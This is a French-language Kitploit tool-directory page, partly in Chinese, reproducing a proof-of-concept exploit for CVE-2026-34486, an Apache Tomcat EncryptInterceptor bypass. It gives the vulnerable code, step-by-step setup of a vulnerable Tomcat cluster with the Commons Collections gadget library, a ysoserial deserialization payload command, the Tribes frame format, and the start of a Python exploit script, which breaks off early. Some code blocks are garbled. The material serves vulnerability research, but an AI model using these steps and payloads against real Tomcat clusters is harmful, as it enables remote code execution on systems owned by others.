Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-34486-poc — CVE-2026-34486 Reproduction de la vulnérabilité de contournement d'EncryptInterceptor sur Apache Tomcat (réalisée avec GLM5.1) | Kitploit
Outils/GitHubGitHub/airskye/cve-2026-34486-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubairskye/cve-2026-34486-poc

CVE-2026-34486-poc

CVE-2026-34486 Reproduction de la vulnérabilité de contournement d'EncryptInterceptor sur Apache Tomcat (réalisée avec GLM5.1)

Voir le dépôt
12110il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-34486 Contournement de l'EncryptInterceptor d'Apache Tomcat — Reproduction

1. Présentation de la vulnérabilité

AttributDétails
Identifiant CVECVE-2026-34486
SévéritéImportant / High (CVSS 3.1 : 7.5)
Type de vulnérabilitéCWE-311 Absence de chiffrement des données sensibles / CWE-807 Contraintes basées sur des entrées non fiables
Versions affectéesApache Tomcat 9.0.116 / 10.1.53 / 11.0.20
Versions corrigéesApache Tomcat 9.0.117 / 10.1.54 / 11.0.21
Cause racinesuper.messageReceived(msg) dans EncryptInterceptor.messageReceived() déplacé en dehors du bloc try-catch

Cause racine de la vulnérabilité

Lors de la correction de CVE-2026-29146 (Padding Oracle), les développeurs ont refactorisé la méthode EncryptInterceptor.messageReceived(), déplaçant super.messageReceived(msg) de l'intérieur du bloc try vers l'extérieur :

Avant la correction (sécurisé) :```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }

**Code vulnérable (dangereux) :**```java
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获,但执行流继续!
    }
    super.messageReceived(msg);  // ← 在 try 外,无论解密是否成功都会执行!
}

Validation du bytecode (provenant de EncryptInterceptor.class de Tomcat 9.0.116) :``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException

// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived

---

## 2. Environnement de reproduction

| Composant | Version/Configuration |
|---|---|
| Système d'exploitation | Ubuntu 22.04 (environnement sandbox) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (version vulnérable) |
| Bibliothèque Gadget | Commons Collections 3.1 |
| Outil d'attaque | ysoserial v0.0.6 + PoC Python/Java personnalisé |

### Topologie de l'environnement```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信

三、Étapes détaillées de reproduction

Étape 1 : Télécharger et installer la version vulnérable de Tomcat```bash

下载 Tomcat 9.0.116

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz

解压两份

tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2

### Étape 2 : Installer la bibliothèque Gadget```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar

# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/

Étape 3 : Configuration du cluster + EncryptInterceptor

Modifiez tomcat-node1/conf/server.xml et ajoutez ce qui suit dans <Engine> :```xml

> 注意 : `encryptionKey` 必须采用十六进制字符串格式(例如 `546869734973415365637265744B6579` = "ThisIsASecretKey" 的 ASCII 十六进制),不能是明文字符串。

### 步骤 4:启用 Session 复制

在 `webapps/ROOT/WEB-INF/web.xml` 中添加 :```xml
<distributable/>

Étape 5 : Démarrer le cluster Tomcat```bash

启动 Node1

cd tomcat-node1 && bin/catalina.sh start

启动 Node2

cd tomcat-node2 && bin/catalina.sh start

验证集群建立

日志中应出现: "Replication member added: ..."

端口 4000/4001 应监听中

**Confirmation du journal de démarrage réel :**```
WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

INFO [main] ReceiverBase.bind
  Receiver Server Socket bound to:[/172.24.0.7:4000]

INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
  Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]

Étape 6 : Générer le payload de désérialisation```bash

使用 ysoserial 生成 CommonsCollections6 gadget chain

(CC6 在 Java 高版本兼容性更好)

java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin

验证 payload 以 Java 序列化魔术字节开头

python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "

### Étape 7 : Construire et envoyer les messages du protocole Tribes

Les messages Tribes nécessitent un format d'encapsulation de trame XByteBuffer spécifique :```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]

其中 ChannelData 载荷结构:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]

**Point clé** : le corps du message est placé directement dans une charge utile de sérialisation Java non chiffrée, c'est le cœur de l'exploitation — EncryptInterceptor tente de déchiffrer, et en cas d'échec, transmet toujours les octets bruts à la chaîne suivante.

#### Méthode 1 : Script PoC Python (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。

用于授权的安全研究环境,严禁用于非法用途。
"""

import socket
import struct
import sys
import os
import time

# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002"   # XByteBuffer 帧起始标记 (7 bytes)
END_DATA   = b"TLF003"    # XByteBuffer 帧结束标记 (7 bytes)
Télécharger l’outil